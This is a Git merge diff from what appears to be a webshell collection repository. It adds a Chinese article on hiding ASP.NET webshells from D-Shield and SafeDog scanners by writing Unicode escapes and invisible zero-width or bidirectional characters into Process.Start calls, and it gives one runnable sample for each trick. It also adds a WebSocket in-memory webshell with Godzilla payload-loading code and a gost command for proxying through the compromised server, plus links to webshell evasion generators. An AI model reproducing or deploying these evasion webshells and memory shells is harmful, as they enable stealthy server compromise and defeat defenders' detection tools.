Merge pull request #55 from foulenzer/typo_fix

fixed typo

Behinder/readme.md

@@ -0,0 +1,22 @@
+### [ByPassBehinder / 冰蝎WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder)
+
+Author:Tas9er @A.E.0.S Security Team
+
+❌风险概述:
+
+本工具仅限授权安全测试使用,禁止非法攻击未授权站点
+
+✴️文件MD5值校对
+
+文件:ByPassBehinder.exe
+
+MD5 HASH:04caea5648786157fb65dd51d2bc061e
+
+### [ByPassBehinder4J / 冰蝎Java WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder4J)
+
+Author:Tas9er @A.E.0.S Security Team
+
+
+
+
+### 安全自测

LICENSE

@@ -1,21 +1,674 @@
-MIT License
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
 
-Copyright (c) 2021 tennc
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+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
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+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
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+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.

README.md

@@ -72,7 +72,7 @@ Author ：tennc
 
 http://tennc.github.io/webshell
 
-license : MIT
+license : GPL V3
 
 ## Download link
 Check github releases. Latest:

aspx/.NET WebShell 免杀系列之Unicode编码.md

@@ -0,0 +1,398 @@
+### .NET WebShell 免杀系列之Unicode编码
+
+由dotNet安全矩阵星球圈友们组成的微信群里大家伙常常聊着.NET话题，这不今天有个群友问.NET WebShell 绕过和免杀的方法，而.NET下通常用Process或其他的类和方法触发命令执行，本文不走曲线救国的路线，走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具，那么是如何免杀的呢？请阅读者保持好奇心跟随笔者一探究竟吧！
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8hqpMIY2QyIic8psNgLbVzzt0cUEZVhg3X2ezH2foTzaBwp9sG2yxFkw/640?wx_fmt=png)
+
+2.1 起源
+------
+
+早期美帝的程序员没有意识到英语只是全世界所有语言中的一种，他们以为26个英文字母再加上一些其它符号就够用了所以就只有ASCII码，但是随着互联网的发展他们终于意识到软件原来还是需要给不同国家不同语言的人来使用的，所以就开始有了其它的编码方法，但因为缺少一个一统天下的标准，所以乱码问题非常严重。而 Unicode 就是要来解决这个问题，20世纪80年代末，Unicode协会成立，该协会成立的目的在于用一个足够大统一的字符集来支持世界上的所有语言，简单的说`Unicode是一套通用的字符集，包含世界上的大部分字符`。Unicode协会在1991年首次发布了The Unicode Standard，之后每1-2年发布一个大的版本以增加重大特性。从2013年9月Unicode6.3发布之后，Unicode一直保持一个相对稳定的发布周期，在每年的上半年发布一个新版本。直至2020年3月，Unicode的版本为Unicode 13.0.0，在最新的Unicode13版本中，包含了大约14万字符，可以支持154种脚本的文本显示，除了定义哪些字符会被涵盖外，它还要定义每个字符所对应的码位。
+
+2.2 码位
+------
+
+码位英文名为 Code point 或 Code position ，Unicode 字义了字符集合后，需要为每个字符指定一个数字，这样计算机才有办法处理。假如字符集中有 1 万个字符，那就需要 1 万个数字，每个字符对应一个数字，这所有的 1 万个数字就构成了编码空间，而每个数字就是对应的字符的码位。
+
+2.3 UTF-8字符集
+------------
+
+UTF-8 应用非常广泛，即使是个刚入行的小白，也应该会经常听到前辈说，“把文件保存成 UTF-8”，“这个讨厌的网站居然用的是 GB2312 编码”，等等。之所以这么流行，是因为 UTF-8 完全兼容 ASCII，对于 ASCII 字符，UTF-8 使用和 ASCII 完全一样的编码方式，同样只使用一个字节，这就意味着，如果被编码的字符仅含 ASCII 字符，那即使是用 UTF-8 进行编码，只支持 ASCII 的旧系统仍然能够准确地解码。同时，如果被编码的字符大部分是 ASCII 字符，因为只占用一个字节，UTF-8 也最节省空间 .NET 在设计过程中就考虑了对 Unicode 字符的支持，**char**是 .NET Framework 中的 **System.Char**对象，也是最基本的字符类型 ，每个`char`都是一个 Unicode 字符。它在内存中占用 2 个字节，取值范围为 0-65535，UTF8将每个Unicode标量值映射成一到四个无符号的8比特的编码单元，这是一种变长的编码方案，码位大于`\xFFFF`的字符，使用4字节存储，小于等于`\xFFFF`大于`\x07FF`的使用3字节，小于等于`\x07FF`大于`\x007F`的使用2字节，小于等于`\x007F`使用1字节，因为UTF8性能效率都很高，所以很多的网站和应用程序、媒体设备都使用它。理论就介绍这么多，接下来看一些案例 比如常规的.NET启动进程代码 
+
+<%@ Page Language="C#" trace="false" validateRequest="false"
+
+EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+    protected void Page\_load(object sender, EventArgs e)
+
+    {
+
+        System.Diagnostics.Process.Start("cmd.exe","/c calc");
+
+    }
+
+</Script>
+
+2.4 UTF-16字符集
+-------------
+
+一种变长的编码格式，码位大于`\xFFFF`的字符，使用4字节存储，小于等于`\xFFFF`的字符，使用2字节存储，将Process.Start方法使用UTF16编码为：Process.\\u0053\\u0074\\u0061\\u0072\\u0074，如下图
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8qd1SIoa2xJiaP6yyoaHQPfqlw2Usa4MEOM0u5aibMSibQhQsfzJy4YpAQ/640?wx_fmt=png)
+
+还可以对完全限定路径做编码，注意 `.` 不能编码为 `\u002e`，否则编译器会抛出异常，如下编码 System.Diagnostics.Process.Start，即使换行也不影响运行
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+    public void Page\_load()
+
+    {
+
+        \\u0053\\u0079\\u0073\\u0074\\u0065\\u006d.
+
+            \\u0044\\u0069\\u0061\\u0067\\u006e\\u006f\\u0073\\u0074\\u0069\\u0063\\u0073.
+
+            \\u0050\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073.
+
+            \\u0053\\u0074\\u0061\\u0072\\u0074("cmd.exe","/c calc");
+
+    }
+
+</Script>
+
+分别用安全狗和D盾测试免杀效果，同目录下还有另外3个文件，aspx.aspx 是经典Jscript一句话木马，aspxspy.aspx 看文件名就知道是经典大马，xls.aspx 是基于xml文档实现的小马，对比被杀的3个Webshell，Unicode编码后的webshell免杀效果非常理想，如下图unicode.aspx
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8ys5jLsYrNCA2tQibz3SfyLf8nsKwYKln9u77z1qibmUYKM0M49LibVKdA/640?wx_fmt=png)
+
+2.5 UTF-32字符集
+-------------
+
+Unicode 的编码空间为 0xFFFF - 0x10FFFF，那可以想到的最简单的办法就是让每个码位对应一个 32 位 (4 bytes) 二进制数，这就是 UTF-32 编码。所以在 UTF-32 中，每个字符占用 4 个字节，它是一种定长编码格式，使用32位表示Unicode中的一个码位。由于Unicode的码位实际只用了21位，所以多余部分前导0。例如字符小写字母a，对应码位为`\x61`，存储的字节序列为：`\x00000061`。如下代码保存为U32.aspx，尝试用D盾扫描，只扫出上述3个经典webshell，并未检测出UTF32编码后的恶意样本
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+    System.Diagnostics.Process.
+
+        \\U00000053\\U00000074\\U00000061\\U00000072\\U00000074("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88QJby07AhqicjsoMhwaHsOdUNOGDBer8KCtlJ8ymFicIwxuhGfa5fOyQ/640?wx_fmt=png)
+
+Unicode标准中，码位的表示方法通常是使用它们的十六进制，并加上`U+`前缀。码位的分类方法多种多样。我们通过下表来阐明Unicode标准使用的几种平面和一些术语。
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8bwXnsHcgoZWKanqEp8klDGe88pTic0ub0Vq9mHa39qCRg9o02bO4Fwg/640?wx_fmt=png)
+
+3.1 基本多语言平面
+-----------
+
+基本多语言平面全称Basic Multilingual Plane，简称 BMP，也是Unicode编码中最重要的平面包含了几乎所有常用的系统和符号，码位范围U+0000 - U+FFFF，除了常见的符号外在 BMP中还有拉丁字符和其他欧洲字符，如希腊、西里尔字母、非洲、亚洲字符，此外BMP中保留了自定义字符的私人使用空间。另外又细分了163块内容，以下列出其中的6块内容用于举例说明  
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88Kkzqu46Y6tTKibialveGJy5Pyz5EVEuQx08Fhq6CtuvwaFbcwWD7Dpw/640?wx_fmt=png)
+
+3.2 补充多语言平面
+-----------
+
+补充多语种平面全称Supplementary Multilingual Plane，简称 SMP，码位范围U+10000 - U+1FFFF，这个平面包含很少使用的历史系统符号，例如多米诺骨牌的标志。另外又细分了134块内容，以下列出其中的6块内容用于举例说明
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8yhDI6tSqh43xvdGibx3oRLPCeyTjIfCfq68cIyibVMriawnxHtdKFoic3g/640?wx_fmt=png)
+
+3.3 补充表意平面
+----------
+
+补充表意平面全称Supplementary Ideographic Plane，简称 SIP，码位范围U+20000 - U+2FFFF，这个平面只有日文、中文和韩文字符，并且它们很少被使用，另外仅有6块内容，笔者就不再列出
+
+3.4 未分配区域
+---------
+
+未分配区域全称unassigned，码位范围 U+30000 - U+DFFFF 尚未被占用，由于可能出现在系统之外的字符，所以这些字符可能会在某些时候被分配用到。
+
+3.5 补充专用平面
+----------
+
+补充专用平面全称Supplement­ary Special-purpose Plane，简称 SSP，码位范围 U+E0000 - U+EFFFF ，该区域包含非图形符号和替代字形扇区，这些可用于文字字符无法描绘的内容。
+
+3.6 私人使用区
+---------
+
+私人使用区全称Supplement­ary Private Use Area planes，简称 SPUAP，码位范围 U+F0000 - U+10FFFF ，保留给私人使用，Unicode Consortium没有明确定义这些字符，因此无法统一使用。
+
+BMP中有一块内容是通用标点符号，码位范围 U+2000 – U+206F ，这个区域分配了111个字符，我们需要关心的字符大约有10个，这些基本都是非打印不可见的字符，可被利用拆解代码里敏感的类名或方法名
+
+4.1 零宽度非连接器
+-----------
+
+零宽度非连接器：ZERO WIDTH NON-JOINER（ZWNJ） `U+200C、U+0000200C` 通常使用在波斯语多个文字连在一起时起到分割符作用，零宽度非连接符会告诉字体引擎不要将它们组合在一起，这是系统中使用的非打印字符。笔者在.NET代码里用它拆解Process类名和Start方法名，如下
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\U0000200Ccess.Star\\u200Ct("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.2 零宽度连接器
+----------
+
+零宽度连接器：ZERO WIDTH JOINER（ZWJ） `U+200D、U+0000200D` 通常使用在梵文，零宽度连接器与零宽度非连接器相反，当多个原本不会连接的字符之间时，零宽度连接符会使它们以连接的形式打印在一起。如下代码
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u200Dcess.Star\\u200Dt("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.3 由左到右标记
+----------
+
+从左到右标记符 (LRM) `U+200E、U+0000200E` 是一种不可见的格式化字符，用于Microsoft Word 等程序中的文字处理，像西里尔语从左到右文本、如叙利亚语从右到左的文本，用于设置相邻字符相文本方向的分组方式。
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u200Ecess.Star\\u200Et("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.4 由右到左标记
+----------
+
+从右到左标记符 (RLM) `U+200F 、U+0000200F` 是一种不可见的格式化字符，和4.3用法正好相反，用于设置相邻字符相文本方向的分组方式。
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u200Fcess.Star\\u200Ft("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.5 由左到右嵌入
+----------
+
+从左到右嵌入符 (LRE) `U+202A、U+0000202A` 从 Unicode 6.3 开始，不鼓励使用`U+2066`嵌入的字符会影响外部字符的顺序。
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Acess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.6 由右到左嵌入
+----------
+
+从右到左嵌入符 (RLE)  `U+202B、U+0000202B` 从 Unicode 6.3 开始，不鼓励使用`U+2067`嵌入中的字符会影响外部字符的顺序
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Bcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.7 定向格式化
+---------
+
+Pop Directional Formatting（PDF）符： `U+202C、U+0000202C` 
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Ccess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.8 由左到右覆盖符
+-----------
+
+从左到右覆盖符（LRO） `U+202D、U+0000202D`，字符正向显示顺序
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Dcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.9 由右到左覆盖符
+-----------
+
+从右到左覆盖符（RLO） `U+202E、U+0000202E`，它的特性是可以反转其他字符的显示顺序，比如`DotNet安全矩阵`，给每个字符前面加上\\u202E`\u202ED\u202Eo\u202Et\u202EN\u202Ee\u202Et\u202E安\u202E全\u202E矩\u202E阵`就会变成 `阵矩全安teNtoD`
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Ecess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.10 零宽度不间断空格
+-------------
+
+零宽度不间断空格（ZWNBSP） `U+FEFF、U+0000FEFF`，一般用于文件开头的字节顺序标记 (BOM)，在 UTF-16 中，BOM 是两个字节，Big-endian 对应的 BOM 是 0xFEFF，Little-endian 对应的 BOM 是 0xFFFE。
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\uFEFFcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.11 行间注解终止符
+------------
+
+行间注解终止符 `U+FFFB、U+0000FFFB`
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\uFFFBcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.12 行间标记注释符
+------------
+
+行间标记注释符 `U+FFF9、U+0000FFF9`
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\uFFF9cess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.13 行间标记分割符
+------------
+
+行间标记分割符 `U+FFFA、U+0000FFFA`
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\uFFFAcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+笔者从第4小节挑选3个WebShell文件，对D盾均达到免杀效果，如下图
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8KyLyHuTolEeJMFxMNia658LpK6pI2xDH1KpLQuEXFHN7JjuXyhP0ubQ/640?wx_fmt=png)
+
+但笔者之前写的风险检查助手却被D盾识别为1级可疑文件，从说明可知 WMI查询接口视为敏感操作，经过多次对比筛选后发现引入的命名空间System.Management被当作恶意特征，如下图
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW80BBwiaiaOUzI1t0GLiahhhG4SCX9p4D0hDEN8ficpznYQu3XE6icWrCNojA/640?wx_fmt=png)
+
+在命名空间字符串任意位置插入\\u200C，例如变成 Sys\\u200Ctem.Mana\\u200Cgement 免杀成功顺利通过D盾查杀，编码后的助手文件运行也一切正常，如下图
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88UIibsLGWho5p7kYGxPiccEdicw5Jdt0iaXe9Vrjh6PAB19sp8M9jBGepw/640?wx_fmt=png)
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8YC6yXGbUPxcgsoYu72z2KWvsAaFTtnCqLZmwjpFRNTP1gcpDxI2OCQ/640?wx_fmt=png)
+
+相信通过本文介绍大家对.NET下的Unicode编码绕过有了初步的认知，由于Unicode通用性极强，所以其他语言诸如Java、PHP也会受其影响。下一篇将继续分享 .NET 免杀Trick，请大伙继续关注文章文章涉及的工具和PDF已打包发布在星球，欢迎对.NET安全关注和关心的同学加入我们 \[dotNet安全矩阵\] ，在这里能遇到有情有义的小伙伴，大家聚在一起做一件有意义的事。
+
+
+from ： https://mp.weixin.qq.com/s/VIsJlDmWGD0QcgBDDsRP9g

fuzzdb-webshell/asp/cmdasp.aspx

@@ -32,7 +32,7 @@ Response.Write("</pre>");
 <body >
 <form id="cmd" method="post" runat="server">
 <asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
-<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
+<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdExe_Click"></asp:Button>
 <asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
 </form>
 </body>

wsMemShell/Godzilla.java

@@ -0,0 +1,24 @@
+// 哥斯拉实现websocket马核心代码片段
+
+//由于是反编译修改了原作者的软件，所以并不会公布工具，但会陆续公开实现代码和实现过程原理
+
+
+public void onMessage(ByteBuffer databf) {
+    try {
+        data=x(databf.array(), false);
+        if (session.getUserProperties().get("payload")==null){
+            session.getUserProperties().put("payload",new X(this.getClass().getClassLoader()).Q(data));
+            session.getBasicRemote().sendObject(x("ok".getBytes(), true));
+        }else{
+            session.getUserProperties().put("parameters", data);
+            Object f=((Class)session.getUserProperties().get("payload")).newInstance();
+            java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
+            f.equals(arrOut);
+            f.equals(session);
+            f.equals(data);
+            f.toString();
+            session.getBasicRemote().sendObject(x(arrOut.toByteArray(), true));
+        }
+    } catch (Exception ignored) {
+    }
+}

wsMemShell/readme.md

@@ -0,0 +1,109 @@
+### [wsMemShell](https://github.com/veo/wsMemShell)
+Author: veo
+
+
+# **WebSocket 内存马，一种新型内存马技术**
+
+### 0.兼容性测试
+
+目前测试过 Tomcat Spring Jetty 都可以正常使用
+
+WebLogic 比较特殊有条件，详情见 WebLogic 目录和文件内的注释
+
+Jboss(WildFly) 未进行测试
+
+### 1.前言
+
+WebSocket是一种全双工通信协议，即客户端可以向服务端发送请求，服务端也可以主动向客户端推送数据。这样的特点，使得它在一些实时性要求比较高的场景效果斐然（比如微信朋友圈实时通知、在线协同编辑等）。主流浏览器以及一些常见服务端通信框架（Tomcat、netty、undertow、webLogic等）都对WebSocket进行了技术支持。
+
+### 2.版本
+
+2013年以前还没出JSR356标准，Tomcat就对Websocket做了支持，自定义API，再后来有了JSR356，Tomcat立马紧跟潮流，废弃自定义的API，实现JSR356那一套，这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样，接入方式也改变了。
+
+JSR356 是java制定的websocket编程规范，属于Java EE 7 的一部分，所以要实现websocket内存马并不需要任何第三方依赖
+
+### 3.服务端实现方式
+
+#### （1）注解方式
+
+```
+@ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class)
+```
+
+Tomcat在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务
+
+所以即使 Tomcat 没有扫描到 `@ServerEndpoint`注解的类，也会进行Listener和 servlet注册，这就是为什么所有Tomcat启动都能在memshell scanner内看到WsFilter
+
+![image-1](image/1.png)
+
+#### （2）继承抽象类Endpoint方式
+
+继承抽象类 `Endpoint`方式比加注解 `@ServerEndpoint`方式更麻烦，主要是需要自己实现 `MessageHandler`和 `ServerApplicationConfig`。`@ServerEndpoint`的话都是使用默认的，原理上差不多，只是注解更自动化，更简洁
+
+可以用代码更方便的控制 ServerEndpointConfig 内的属性
+
+```
+ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}").decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator()).build();
+```
+
+### 3.websocket内存马实现方法
+
+之前提到过 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务
+
+那如果在服务启动后我们再 addEndpoint 加入websocket服务行不行呢？答案是肯定的，而且非常简单只需要三步。创建一个ServerEndpointConfig，获取ws ServerContainer，加入 ServerEndpointConfig，即可
+
+```
+ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
+ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
+container.addEndpoint(config);
+```
+
+### 4.效果
+
+首先利用i.jsp注入一个websocket服务，路径为/x，注入后利用ws连接即可执行命令
+
+![image-2](image/2.png)
+
+且通过memshell scanner查询不到任何异常（因为根本就没注册新的 Listener、servlet 或者 Filter）
+
+![image-3](image/3.png)
+
+### 5.代理
+
+WebSocket是一种全双工通信协议，它可以用来做代理，且速度和普通的TCP代理一样快，这也是我研究websocket内存马的原因。
+
+例如有一台不出网主机，有反序列化漏洞。
+
+以前在这种场景下，可能会考虑上reGeorg或者利用端口复用来搭建代理。
+
+现在可以利用反序列化漏洞直接注入websocket代理内存马，然后直接连上用上全双工通信协议的代理。
+
+注入完内存马以后，使用 Gost：[https://github.com/go-gost/gost](https://github.com/go-gost/gost) 连接代理
+
+```
+./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"
+```
+然后连接本地1080端口socks5即可使用代理
+
+### 6.多功能shell实现
+
+想要使用ws马首先得支持连接ws协议的工具，目前市面的webshell管理工具都要从源码上修改才能支持ws协议
+
+（内容更新 ：蚁剑v2.1.15已更新支持）
+
+
+具体实现过程也并不复杂，相当于只是替换了协议，内容其实可以不变。例如给出的哥斯拉支持样例，基本逻辑并没发生改变，只是协议变了
+
+还有一个问题是ws马必须先注入再连接，并不能直接连接jsp马。
+
+然而例如哥斯拉的jsp马本身就是支持远程代码执行，那么jsp马其实可以保持不变就用哥斯拉原版，但发送class要修改，先发送过去先初始化注册ws马的class，连上ws以后再初始化恶意class，多一步，第二步连接的时候使用ws连接。
+
+如果是内存注入的webshell，则直接使用ws协议连接
+
+<img src="image/ws.jpg" alt="ws" width="49%"></a> <img src="image/ws2.jpg" alt="ws" width="49%"></a>
+
+
+## 版权声明
+完整代码：[https://github.com/veo/wsMemShell](https://github.com/veo/wsMemShell) 
+
+本文章著作权归作者所有。转载请注明出处！[https://github.com/veo](https://github.com/veo)

wsMemShell/weblogic/wsAddAllContainer.jsp

@@ -0,0 +1,85 @@
+<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
+<%@ page import="javax.websocket.server.ServerContainer" %>
+<%@ page import="javax.websocket.*" %>
+<%@ page import="java.io.*" %>
+<%@ page import="org.glassfish.tyrus.server.TyrusServerContainer" %>
+<%@ page import="javax.management.MBeanServer" %>
+<%@ page import="java.lang.management.ManagementFactory" %>
